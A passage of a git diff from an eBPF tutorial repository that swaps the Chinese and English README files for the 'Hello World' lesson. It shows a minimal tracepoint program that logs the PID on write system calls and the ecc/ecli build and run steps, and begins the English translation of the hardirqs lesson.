2.6.32 版本中首次提供。跟踪点是一种稳定的 API,数量有限。 +## Tracepoints -## GitHub 模板:轻松构建 eBPF 项目和开发环境 +Tracepoints are a kernel static instrumentation technique, technically just trace functions placed in the kernel source code, which are essentially probe points with control conditions inserted into the source code, allowing post-processing with additional processing functions. For example, the most common static tracing method in the kernel is printk, which outputs log messages. For example, there are tracepoints at the start and end of system calls, scheduler events, file system operations, and disk I/O. Tracepoints were first introduced in Linux version 2.6.32 in 2009. Tracepoints are a stable API and their number is limited. -面对创建一个 eBPF 项目,您是否对如何开始搭建环境以及选择编程语言感到困惑?别担心,我们为您准备了一系列 GitHub 模板,以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 `Use this template` 按钮,即可开始使用。 +## GitHub Templates: Build eBPF Projects and Development Environments Easily -- :基于C语言和 libbpf 框架的eBPF项目模板 -- :基于C语言和cilium/ebpf框架的eBPF项目模板 -- :基于Rust语言和libbpf-rs框架的eBPF项目模板 -- :基于C语言和eunomia-bpf框架的eBPF项目模板 +When faced with creating an eBPF project, are you confused about how to set up the environment and choose a programming language? Don't worry, we have prepared a series of GitHub templates to help you quickly start a brand new eBPF project. Just click the `Use this template` button on GitHub to get started. -这些启动模板包含以下功能: +- : eBPF project template based on the C language and libbpf framework. +- : eBPF project template based on the Go language and cilium/ebpf framework. +- : eBPF project template based on the Rust language and libbpf-rs framework. +- : eBPF project template based on the C language and eunomia-bpf framework. -- 一个 Makefile,让您可以一键构建项目 -- 一个 Dockerfile,用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages -- GitHub Actions,用于自动化构建、测试和发布流程 -- eBPF 开发所需的所有依赖项 +These starter templates include the following features: -> 通过将现有仓库设置为模板,您和其他人可以快速生成具有相同基础结构的新仓库,从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库,开发者可以专注于项目的核心功能和逻辑,而无需为基础设置和结构浪费时间。更多关于模板仓库的信息,请参阅官方文档: +- A Makefile for building the project with one command. +- A Dockerfile for automatically creating a containerized environment for your eBPF project and publishing it to Github Packages.- GitHub Actions, used for automating build, test, and release processes +- All dependencies required for eBPF development -## 总结 +> By setting an existing repository as a template, you and others can quickly generate new repositories with the same underlying structure, eliminating the tedious process of manual creation and configuration. With GitHub template repositories, developers can focus on the core functionality and logic of their projects without wasting time on setup and structure. For more information about template repositories, please refer to the official documentation: -eBPF 程序的开发和使用流程可以概括为如下几个步骤: +## Summary -- 定义 eBPF 程序的接口和类型:这包括定义 eBPF 程序的接口函数,定义和实现 eBPF 内核映射(maps)和共享内存(perf events),以及定义和使用 eBPF 内核帮助函数(helpers)。 -- 编写 eBPF 程序的代码:这包括编写 eBPF 程序的主要逻辑,实现 eBPF 内核映射的读写操作,以及使用 eBPF 内核帮助函数。 -- 编译 eBPF 程序:这包括使用 eBPF 编译器(例如 clang)将 eBPF 程序代码编译为 eBPF 字节码,并生成可执行的 eBPF 内核模块。ecc 本质上也是调用 clang 编译器来编译 eBPF 程序。 -- 加载 eBPF 程序到内核:这包括将编译好的 eBPF 内核模块加载到 Linux 内核中,并将 eBPF 程序附加到指定的内核事件上。 -- 使用 eBPF 程序:这包括监测 eBPF 程序的运行情况,并使用 eBPF 内核映射和共享内存进行数据交换和共享。 -- 在实际开发中,还可能需要进行其他的步骤,例如配置编译和加载参数,管理 eBPF 内核模块和内核映射,以及使用其他高级功能等。 +The development and usage process of eBPF programs can be summarized in the following steps: -需要注意的是,BPF 程序的执行是在内核空间进行的,因此需要使用特殊的工具和技术来编写、编译和调试 BPF 程序。eunomia-bpf 是一个开源的 BPF 编译器和工具包,它可以帮助开发者快速和简单地编写和运行 BPF 程序。 +- Define the interface and types of eBPF programs: This includes defining the interface functions of eBPF programs, defining and implementing eBPF kernel maps and shared memory (perf events), and defining and using eBPF kernel helper functions. +- Write the code for eBPF programs: This includes writing the main logic of the eBPF program, implementing read and write operations on eBPF kernel maps, and using eBPF kernel helper functions. +- Compile the eBPF program: This includes using an eBPF compiler (such as clang) to compile the eBPF program code into eBPF bytecode and generate an executable eBPF kernel module. ecc essentially calls the clang compiler to compile eBPF programs. +- Load the eBPF program into the kernel: This includes loading the compiled eBPF kernel module into the Linux kernel and attaching the eBPF program to the specified kernel events. +- Use the eBPF program: This includes monitoring the execution of the eBPF program and exchanging and sharing data using eBPF kernel maps and shared memory. +- In practical development, there may be additional steps such as configuring compilation and loading parameters, managing eBPF kernel modules and kernel maps, and using other advanced features. -您还可以访问我们的教程代码仓库 以获取更多示例和完整的教程,全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术。 +The execution of BPF programs occurs in the kernel space, so special tools and techniques are needed to write, compile, and debug them. -> 原文地址: 转载请注明出处。 +You can also visit our tutorial code repository or website for more examples and complete tutorials, all of which are open-source. We will continue to share more about eBPF development practices to help you better understand and master eBPF technology. diff --git a/src/1-helloworld/README.zh.md b/src/1-helloworld/README.zh.md new file mode 100644 index 00000000..2950b54f --- /dev/null +++ b/src/1-helloworld/README.zh.md @@ -0,0 +1,202 @@ +# eBPF 入门开发实践教程一:Hello World,基本框架和开发流程 + +在本篇博客中,我们将深入探讨eBPF(Extended Berkeley Packet Filter)的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具,它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。 + +本文是eBPF入门开发实践教程的第二篇,我们将重点关注如何编写一个简单的eBPF程序,并通过实际例子演示整个开发流程。在阅读本教程之前,建议您先学习第一篇教程,以便对eBPF的基本概念有个大致的了解。 + +在开发eBPF程序时,有多种开发框架可供选择,如 BCC(BPF Compiler Collection)libbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异,但它们的基本开发流程大致相同。在接下来的内容中,我们将深入了解这些流程,并以 Hello World 程序为例,带领读者逐步掌握eBPF开发的基本技巧。 + +本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程,您将掌握eBPF开发的基本知识,并为后续进一步学习和实践奠定坚实的基础。 + +## eBPF开发环境准备与基本开发流程 + +在开始编写eBPF程序之前,我们需要准备一个合适的开发环境,并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。 + +### 安装必要的软件和工具 + +要开发eBPF程序,您需要安装以下软件和工具: + +- Linux 内核:由于eBPF是内核技术,因此您需要具备较新版本的Linux内核(至少 4.8 及以上版本,建议至少在 5.15 以上),以支持eBPF功能。 + - 建议使用最新的 Ubuntu 版本(例如 Ubuntu 23.10)以获得最佳的学习体验,较旧的内核 eBPF 功能支持可能相对不全。 +- LLVM 和 Clang:这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。 + +eBPF 程序主要由两部分构成:内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑,用户态部分负责加载、运行和监控内核态程序。 + +当您选择了合适的开发框架后,如BCC(BPF Compiler Collection)、libbpf、cilium/ebpf或eunomia-bpf等,您可以开始进行用户态和内核态程序的开发。以BCC工具为例,我们将介绍eBPF程序的基本开发流程: + +1. 安装BCC工具:根据您的Linux发行版,按照BCC官方文档的指南安装BCC工具和相关依赖。 +2. 编写eBPF程序(C语言):使用C语言编写一个简单的eBPF程序,例如Hello World程序。该程序可以在内核空间执行并完成特定任务,如统计网络数据包数量。 +3. 编写用户态程序(Python或C等):使用Python、C等语言编写用户态程序,用于加载、运行eBPF程序以及与之交互。在这个程序中,您需要使用BCC提供的API来加载和操作内核态的eBPF程序。 +4. 编译eBPF程序:使用BCC工具,将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。 +5. 加载并运行eBPF程序:在用户态程序中,使用BCC提供的API加载编译好的eBPF程序到内核空间,然后运行该程序。 +6. 与eBPF程序交互:用户态程序通过BCC提供的API与eBPF程序交互,实现数据收集、分析和展示等功能。例如,您可以使用BCC API读取eBPF程序中的map数据,以获取网络数据包统计信息。 +7. 卸载eBPF程序:当不再需要eBPF程序时,用户态程序应使用BCC API将其从内核空间卸载。 +8. 调试与优化:使用 bpftool 等工具进行eBPF程序的调试和优化,提高程序性能和稳定性。 + +通过以上流程,您可以使用开发、编译、运行和调试eBPF程序。请注意,其他框架(如libbpf、cilium/ebpf和eunomia-bpf)的开发流程大致相似但略有不同,因此在选择框架时,请参考相应的官方文档和示例。 + +我们使用 eunomia-bpf 来编译和运行这个示例。你可以从 安装它。 + +## 下载安装 eunomia-bpf 开发工具 + +可以通过以下步骤下载和安装 eunomia-bpf: + +下载 ecli 工具,用于运行 eBPF 程序: + +```console +$ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli +$ ./ecli -h +Usage: ecli [--help] [--version] [--json] [--no-cache] url-and-args +``` + +下载编译器工具链,用于将 eBPF 内核代码编译为 config 文件或 WASM 模块: + +```console +$ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc +$ ./ecc -h +eunomia-bpf compiler +Usage: ecc [OPTIONS] [EXPORT_EVENT_HEADER] +``` + +注:假如在 aarch64 平台上,请从 release 下载 [ecc-aarch64](https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc-aarch64) 和 [ecli-aarch64](https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecli-aarch64). + +也可以使用 docker 镜像进行编译: + +```console +$ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。 +export PATH=PATH:~/.eunomia/bin +Compiling bpf object... +Packing ebpf object and config into /src/package.json... +``` + +## Hello World - minimal eBPF program + +我们会先从一个简单的 eBPF 程序开始,它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件,然后使用 ecli 工具加载并运行该程序。作为示例,我们可以暂时省略用户态程序的部分。 + +```c +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +#define BPF_NO_GLOBAL_DATA +#include +#include +#include + +typedef unsigned int u32; +typedef int pid_t; +const pid_t pid_filter = 0; + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +SEC("tp/syscalls/sys_enter_write") +int handle_tp(void *ctx) +{ + pid_t pid = bpf_get_current_pid_tgid() >> 32; + if (pid_filter && pid != pid_filter) + return 0; + bpf_printk("BPF triggered sys_enter_write from PID %d.\n", pid); + return 0; +} +``` + +这个程序定义了一个 handle_tp 函数,通过 SEC 宏将其附加到 sys_enter_write 追踪点。每当进入 write 系统调用时,这个函数就会被执行。它获取当前进程的 ID 并使用 `bpf_printk` 打印到内核日志。 + +`SEC("tp/syscalls/sys_enter_write")` 宏告诉 eBPF 加载器将函数附加到哪里。格式是 `tp` 表示追踪点,`syscalls` 是子系统,`sys_enter_write` 是具体的事件名称。你可以通过运行 `sudo ls /sys/kernel/debug/tracing/events/syscalls/` 来查看系统中可用的追踪点。 + +代码开头的 `BPF_NO_GLOBAL_DATA` 宏是为了兼容旧版内核(5.2 之前)。如果你使用的是现代内核(5.15+),这个定义并非必需,但为了可移植性保留它也无妨。 + +`bpf_printk()` 函数是你调试的好帮手。它将输出发送到 `/sys/kernel/debug/tracing/trace_pipe`,这是查看 eBPF 程序运行情况的简单方式。但它有一些限制:最多 3 个参数,trace_pipe 在内核中全局共享,并且对高频事件可能影响性能。在生产环境中,你应该使用环形缓冲区或性能事件数组,这些我们会在后续教程中介绍。 + +`ctx` 参数包含追踪点特定的数据,但在这个简单示例中我们不需要它,所以声明为 `void *`。在更高级的程序中,你可以将其转换为适当的类型来访问参数。eBPF 程序必须返回一个整数——对于追踪点来说返回 0 是标准做法。 + +要编译和运行这段程序,可以使用 ecc 工具和 ecli 命令。首先在 Ubuntu/Debian 上,执行以下命令: + +```shell +sudo apt install clang llvm +``` + +使用 ecc 编译程序: + +```console +$ ./ecc minimal.bpf.c +Compiling bpf object... +Packing ebpf object and config into package.json... +``` + +或使用 docker 镜像进行编译: + +```shell +docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest +``` + +然后使用 ecli 运行编译后的程序: + +```console +$ sudo ./ecli run package.json +Running eBPF program... +``` + +运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出: + +```console +$ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep "BPF triggered sys_enter_write" + <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. + <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. +``` + +按 Ctrl+C 停止 ecli 进程之后,可以看到对应的输出也停止。 + +如果看不到任何输出,可能是追踪子系统没有启用,在某些 Linux 发行版上很常见。你可以通过以下命令启用它: + +```console +$ sudo sh -c 'echo 1 > /sys/kernel/debug/tracing/tracing_on' +``` + +如果仍然看不到输出,确保程序已加载并运行(ecli 终端应该显示 "Running eBPF program...")。尝试在另一个终端中手动触发一些 write 系统调用,例如运行 `echo "test" > /tmp/test.txt`。你也可以通过运行 `sudo bpftool prog list` 来检查你的 eBPF 程序是否已加载。 + +## eBPF 程序的基本框架 + +如上所述, eBPF 程序的基本框架包括: + +- 包含头文件:需要包含 等头文件。 +- 定义许可证:需要定义许可证,通常使用 "Dual BSD/GPL"。 +- 定义 BPF 函数:需要定义一个 BPF 函数,例如其名称为 handle_tp,其参数为 void *ctx,返回值为 int。通常用 C 语言编写。 +- 使用 BPF 助手函数:在例如 BPF 函数中,可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。 +- 返回值 + +## tracepoints + +跟踪点(tracepoints)是内核静态插桩技术,在技术上只是放置在内核源代码中的跟踪函数,实际上就是在源码中插入的一些带有控制条件的探测点,这些探测点允许事后再添加处理函数。比如在内核中,最常见的静态跟踪方法就是 printk,即输出日志。又比如:在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。跟踪点于 2009 年在 Linux 2.6.32 版本中首次提供。跟踪点是一种稳定的 API,数量有限。 + +## GitHub 模板:轻松构建 eBPF 项目和开发环境 + +面对创建一个 eBPF 项目,您是否对如何开始搭建环境以及选择编程语言感到困惑?别担心,我们为您准备了一系列 GitHub 模板,以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 `Use this template` 按钮,即可开始使用。 + +- :基于C语言和 libbpf 框架的eBPF项目模板 +- :基于Go语言和cilium/ebpf框架的eBPF项目模板 +- :基于Rust语言和libbpf-rs框架的eBPF项目模板 +- :基于C语言和eunomia-bpf框架的eBPF项目模板 + +这些启动模板包含以下功能: + +- 一个 Makefile,让您可以一键构建项目 +- 一个 Dockerfile,用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages +- GitHub Actions,用于自动化构建、测试和发布流程 +- eBPF 开发所需的所有依赖项 + +> 通过将现有仓库设置为模板,您和其他人可以快速生成具有相同基础结构的新仓库,从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库,开发者可以专注于项目的核心功能和逻辑,而无需为基础设置和结构浪费时间。更多关于模板仓库的信息,请参阅官方文档: + +## 总结 + +eBPF 程序的开发和使用流程可以概括为如下几个步骤: + +- 定义 eBPF 程序的接口和类型:这包括定义 eBPF 程序的接口函数,定义和实现 eBPF 内核映射(maps)和共享内存(perf events),以及定义和使用 eBPF 内核帮助函数(helpers)。 +- 编写 eBPF 程序的代码:这包括编写 eBPF 程序的主要逻辑,实现 eBPF 内核映射的读写操作,以及使用 eBPF 内核帮助函数。 +- 编译 eBPF 程序:这包括使用 eBPF 编译器(例如 clang)将 eBPF 程序代码编译为 eBPF 字节码,并生成可执行的 eBPF 内核模块。ecc 本质上也是调用 clang 编译器来编译 eBPF 程序。 +- 加载 eBPF 程序到内核:这包括将编译好的 eBPF 内核模块加载到 Linux 内核中,并将 eBPF 程序附加到指定的内核事件上。 +- 使用 eBPF 程序:这包括监测 eBPF 程序的运行情况,并使用 eBPF 内核映射和共享内存进行数据交换和共享。 +- 在实际开发中,还可能需要进行其他的步骤,例如配置编译和加载参数,管理 eBPF 内核模块和内核映射,以及使用其他高级功能等。 + +需要注意的是,BPF 程序的执行是在内核空间进行的,因此需要使用特殊的工具和技术来编写、编译和调试 BPF 程序。 + +您还可以访问我们的教程代码仓库 以获取更多示例和完整的教程,全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术。 + +> 原文地址: 转载请注明出处。 diff --git a/src/1-helloworld/README_en.md b/src/1-helloworld/README_en.md deleted file mode 100644 index 765492ea..00000000 --- a/src/1-helloworld/README_en.md +++ /dev/null @@ -1,194 +0,0 @@ -# eBPF Tutorial by Example 1: Hello World, Framework and Development - -In this blog post, we will delve into the basic framework and development process of eBPF (Extended Berkeley Packet Filter). eBPF is a powerful network and performance analysis tool that runs on the Linux kernel, providing developers with the ability to dynamically load, update, and run user-defined code at kernel runtime. This enables developers to implement efficient, secure kernel-level network monitoring, performance analysis, and troubleshooting functionalities. - -This article is the second part of the eBPF Tutorial by Example, where we will focus on how to write a simple eBPF program and demonstrate the entire development process through practical examples. Before reading this tutorial, it is recommended that you first learn the concepts of eBPF by studying the first tutorial. - -When developing eBPF programs, there are multiple development frameworks to choose from, such as BCC (BPF Compiler Collection) libbpf, cilium/ebpf, eunomia-bpf, etc. Although these tools have different characteristics, their basic development process is similar. In the following content, we will delve into these processes and use the Hello World program as an example to guide readers in mastering the basic skills of eBPF development. - -This tutorial will help you understand the basic structure of eBPF programs, the compilation and loading process, the interaction between user space and kernel space, as well as debugging and optimization techniques. By studying this tutorial, you will master the basic knowledge of eBPF development and lay a solid foundation for further learning and practice. - -## Preparation of eBPF Development Environment and Basic Development Process - -Before starting to write eBPF programs, we need to prepare a suitable development environment and understand the basic development process of eBPF programs. This section will provide a detailed introduction to these subjects. - -### Installing the necessary software and tools - -To develop eBPF programs, you need to install the following software and tools: - -- Linux kernel: Since eBPF is a kernel technology, you need to have a relatively new version of the Linux kernel (minimium version 4.8 and above, suggested version is 5.15+ or 6.2+) to support eBPF functionality. - - If possible, install a new version of Ubuntu (e.g. 23.10) would be better. -- LLVM and Clang: These tools are used to compile eBPF programs. Installing the latest version of LLVM and Clang ensures that you get the best eBPF support. - -An eBPF program consists of two main parts: the kernel space part and the user space part. The kernel space part contains the actual logic of the eBPF program, while the user space part is responsible for loading, running, and monitoring the kernel space program. - -Once you have chosen a suitable development framework, such as BCC (BPF Compiler Collection), libbpf, cilium/ebpf, or eunomia-bpf, you can begin developing the user space and kernel space programs. Taking the BCC tool as an example, we will introduce the basic development process of eBPF programs: - -1. Installing the BCC tool: Depending on your Linux distribution, follow the guidelines in the BCC documentation to install the BCC tool and its dependencies. -2. Writing an eBPF program (C language): Use the C language to write a simple eBPF program, such as the Hello World program. This program can be executed in kernel space and perform specific tasks, such as counting network packets. -3. Writing a user space program (Python or C, etc.): Use languages like Python or C to write a user space program that is responsible for loading, running, and interacting with the eBPF program. In this program, you need to use the API provided by BCC to load and manipulate the kernel space eBPF program. -4. Compiling the eBPF program: Use the BCC tool to compile the eBPF program written in C language into bytecode that can be executed by the kernel. BCC dynamically compiles the eBPF program from source code at runtime. -5. Loading and running the eBPF program: In the user space program, use the API provided by BCC to load the compiled eBPF program into kernel space and then run it. -6. Interacting with the eBPF program: The user space program interacts with the eBPF program through the API provided by BCC, implementing data collection, analysis, and display functions. For example, you can use the BCC API to read map data in the eBPF program to obtain network packet statistics. -7. Unloading the eBPF program: When the eBPF program is no longer needed, the user space program should unload it from the kernel space using the BCC API. -8. Debugging and optimization: Use tools like bpftool to debug and optimize eBPF programs, improving program performance and stability. - -Through the above process, you can develop, compile, run, and debug eBPF programs using the BCC tool. Note that the development process of other frameworks, such as libbpf, cilium/ebpf, and eunomia-bpf, is similar but slightly different. Therefore, when choosing a framework, please refer to the respective official documentation and examples. - -By following this process, you can develop an eBPF program that runs in the kernel. eunomia-bpf is an open-source eBPF dynamic loading runtime and development toolchain. It aims to simplify the development, building, distribution, and running of eBPF programs. It is based on the libbpf CO-RE lightweight development framework, supports loading and executing eBPF programs through a user space WebAssembly (WASM) virtual machine, and packages precompiled eBPF programs into universal JSON or WASM modules for distribution. We will use eunomia-bpf for demonstration purposes. - -## Download and Install eunomia-bpf Development Tools - -You can download and install eunomia-bpf using the following steps: - -Download the ecli tool for running eBPF programs: - -```console -$ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli -$ ./ecli -h -Usage: ecli [--help] [--version] [--json] [--no-cache] url-and-args -``` - -Download the compiler toolchain for compiling eBPF kernel code into config files or WASM modules: - -```console -$ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc -$ ./ecc -h -eunomia-bpf compiler -Usage: ecc [OPTIONS] [EXPORT_EVENT_HEADER] -.... -``` -Note: If you are on the aarch64 platform, please use the [ecc-aarch64](https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc-aarch64) and [ecli-aarch64](https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecli-aarch64). - -You can also compile using the docker image: - -```console -$ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # Compile using docker. `pwd` should contain *.bpf.c files and *.h files. -export PATH=PATH:~/.eunomia/bin -Compiling bpf object... -Packing ebpf object and config into /src/package.json... -``` - -## Hello World - minimal eBPF program - -We will start with a simple eBPF program that prints a message in the kernel. We will use the eunomia-bpf compiler toolchain to compile it into a BPF bytecode file, and then load and run the program using the ecli tool. For the sake of the example, we can temporarily disregard the user space program. - -```c -/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ -#define BPF_NO_GLOBAL_DATA -#include -#include -#include - -typedef unsigned int u32; -typedef int pid_t; -const pid_t pid_filter = 0; - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("tp/syscalls/sys_enter_write") -int handle_tp(void *ctx) -{ - pid_t pid = bpf_get_current_pid_tgid() >> 32; - if (pid_filter && pid != pid_filter) - return 0; - bpf_printk("BPF triggered sys_enter_write from PID %d.\n", pid); - return 0; -} -``` - -This program defines a handle_tp function and attaches it to the sys_enter_write tracepoint using the SEC macro (i.e., it is executed when the write system call is entered). The function retrieves the process ID of the write system call invocation using the bpf_get_current_pid_tgid and bpf_printk functions, and prints it in the kernel log. - -- `bpf_trace_printk()`: A simple mechanism to output information to the trace_pipe (/sys/kernel/debug/tracing/trace_pipe). This is fine for simple use cases, but it has limitations: a maximum of 3 parameters; the first parameter must be %s (i.e., a string); and the trace_pipe is globally shared in the kernel, so other programs using the trace_pipe concurrently might disrupt its output. A better approach is to use BPF_PERF_OUTPUT(), which will be discussed later. -- `void *ctx`: ctx is originally a parameter of a specific type, but since it is not used here, it is written as void *. -- `return 0;`: This is necessary, returning 0 (to know why, refer to #139 ). - -To compile and run this program, you can use the ecc tool and ecli command. First, on Ubuntu/Debian, execute the following command: - -```shell -sudo apt install clang llvm -``` - -Compile the program using ecc: - -```console -$ ./ecc minimal.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -Or compile using a docker image: - -```shell -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -Then run the compiled program using ecli: - -```console -$ sudo ./ecli run package.json -Running eBPF program... -``` - -After running this program, you can view the output of the eBPF program by checking the /sys/kernel/debug/tracing/trace_pipe file: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep "BPF triggered sys_enter_write" - <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. - <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. -``` - -Once you stop the ecli process by pressing Ctrl+C, the corresponding output will also stop. - -Note: If your Linux distribution (e.g. Ubuntu) does not have the tracing subsystem enabled by default, you may not see any output. Use the following command to enable this feature: - -```console -$ sudo su -# echo 1 > /sys/kernel/debug/tracing/tracing_on -``` - -## Basic Framework of eBPF Program - -As mentioned above, the basic framework of an eBPF program includes: - -- Including header files: You need to include and header files, among others. -- Defining a license: You need to define a license, typically using "Dual BSD/GPL". -- Defining a BPF function: You need to define a BPF function, for example, named handle_tp, which takes void *ctx as a parameter and returns int. This is usually written in the C language. -- Using BPF helper functions: In the BPF function, you can use BPF helper functions such as bpf_get_current_pid_tgid() and bpf_printk(). -- Return value - -## Tracepoints - -Tracepoints are a kernel static instrumentation technique, technically just trace functions placed in the kernel source code, which are essentially probe points with control conditions inserted into the source code, allowing post-processing with additional processing functions. For example, the most common static tracing method in the kernel is printk, which outputs log messages. For example, there are tracepoints at the start and end of system calls, scheduler events, file system operations, and disk I/O. Tracepoints were first introduced in Linux version 2.6.32 in 2009. Tracepoints are a stable API and their number is limited. - -## GitHub Templates: Build eBPF Projects and Development Environments Easily - -When faced with creating an eBPF project, are you confused about how to set up the environment and choose a programming language? Don't worry, we have prepared a series of GitHub templates to help you quickly start a brand new eBPF project. Just click the `Use this template` button on GitHub to get started. - -- : eBPF project template based on the C language and libbpf framework. -- : eBPF project template based on the C language and cilium/ebpf framework. -- : eBPF project template based on the Rust language and libbpf-rs framework. -- : eBPF project template based on the C language and eunomia-bpf framework. - -These starter templates include the following features: - -- A Makefile for building the project with one command. -- A Dockerfile for automatically creating a containerized environment for your eBPF project and publishing it to Github Packages.- GitHub Actions, used for automating build, test, and release processes -- All dependencies required for eBPF development - -> By setting an existing repository as a template, you and others can quickly generate new repositories with the same underlying structure, eliminating the tedious process of manual creation and configuration. With GitHub template repositories, developers can focus on the core functionality and logic of their projects without wasting time on setup and structure. For more information about template repositories, please refer to the official documentation: - -## Summary - -The development and usage process of eBPF programs can be summarized in the following steps: - -- Define the interface and types of eBPF programs: This includes defining the interface functions of eBPF programs, defining and implementing eBPF kernel maps and shared memory (perf events), and defining and using eBPF kernel helper functions. -- Write the code for eBPF programs: This includes writing the main logic of the eBPF program, implementing read and write operations on eBPF kernel maps, and using eBPF kernel helper functions. -- Compile the eBPF program: This includes using an eBPF compiler (such as clang) to compile the eBPF program code into eBPF bytecode and generate an executable eBPF kernel module. ecc essentially calls the clang compiler to compile eBPF programs. -- Load the eBPF program into the kernel: This includes loading the compiled eBPF kernel module into the Linux kernel and attaching the eBPF program to the specified kernel events. -- Use the eBPF program: This includes monitoring the execution of the eBPF program and exchanging and sharing data using eBPF kernel maps and shared memory. -- In practical development, there may be additional steps such as configuring compilation and loading parameters, managing eBPF kernel modules and kernel maps, and using other advanced features. - -It should be noted that the execution of BPF programs occurs in the kernel space, so special tools and techniques are needed to write, compile, and debug BPF programs. eunomia-bpf is an open-source BPF compiler and toolkit that can help developers write and run BPF programs quickly and easily. - -You can also visit our tutorial code repository or website or website for more examples and complete tutorials, all of which are open-source. We will continue to share more about eBPF development practices to help you better understand and master eBPF technology. diff --git a/src/10-hardirqs/.config b/src/10-hardirqs/.config new file mode 100644 index 00000000..2785adf1 --- /dev/null +++ b/src/10-hardirqs/.config @@ -0,0 +1 @@ +level=Basic diff --git a/src/10-hardirqs/README.md b/src/10-hardirqs/README.md index 33e81738..c7fef37d 100644 --- a/src/10-hardirqs/README.md +++ b/src/10-hardirqs/README.md @@ -1,37 +1,39 @@ -# eBPF 入门开发实践教程十:在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件 +# eBPF Tutorial by Example 10: Capturing Interrupts with hardirqs or softirqs -eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel. It allows developers to dynamically load, update, and run user-defined code at runtime in the kernel. -本文是 eBPF 入门开发实践教程的第十篇,在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件。 -hardirqs 和 softirqs 是 Linux 内核中两种不同类型的中断处理程序。它们用于处理硬件设备产生的中断请求,以及内核中的异步事件。在 eBPF 中,我们可以使用同名的 eBPF 工具 hardirqs 和 softirqs 来捕获和分析内核中与中断处理相关的信息。 +This article is the tenth part of the eBPF Tutorial by Example, focusing on capturing interrupt events using hardirqs or softirqs in eBPF. +hardirqs and softirqs are two different types of interrupt handlers in the Linux kernel. They are used to handle interrupt requests generated by hardware devices, as well as asynchronous events in the kernel. In eBPF, we can use the eBPF tools hardirqs and softirqs to capture and analyze information related to interrupt handling in the kernel. -## hardirqs 和 softirqs 是什么? +> The complete source code: -hardirqs 是硬件中断处理程序。当硬件设备产生一个中断请求时,内核会将该请求映射到一个特定的中断向量,然后执行与之关联的硬件中断处理程序。硬件中断处理程序通常用于处理设备驱动程序中的事件,例如设备数据传输完成或设备错误。 +## What are hardirqs and softirqs? -softirqs 是软件中断处理程序。它们是内核中的一种底层异步事件处理机制,用于处理内核中的高优先级任务。softirqs 通常用于处理网络协议栈、磁盘子系统和其他内核组件中的事件。与硬件中断处理程序相比,软件中断处理程序具有更高的灵活性和可配置性。 +hardirqs are hardware interrupt handlers. When a hardware device generates an interrupt request, the kernel maps it to a specific interrupt vector and executes the associated hardware interrupt handler. Hardware interrupt handlers are commonly used to handle events in device drivers, such as completion of device data transfer or device errors. -## 实现原理 +softirqs are software interrupt handlers. They are a low-level asynchronous event handling mechanism in the kernel, used for handling high-priority tasks in the kernel. softirqs are commonly used to handle events in the network protocol stack, disk subsystem, and other kernel components. Compared to hardware interrupt handlers, software interrupt handlers have more flexibility and configurability. -在 eBPF 中,我们可以通过挂载特定的 kprobe 或者 tracepoint 来捕获和分析 hardirqs 和 softirqs。为了捕获 hardirqs 和 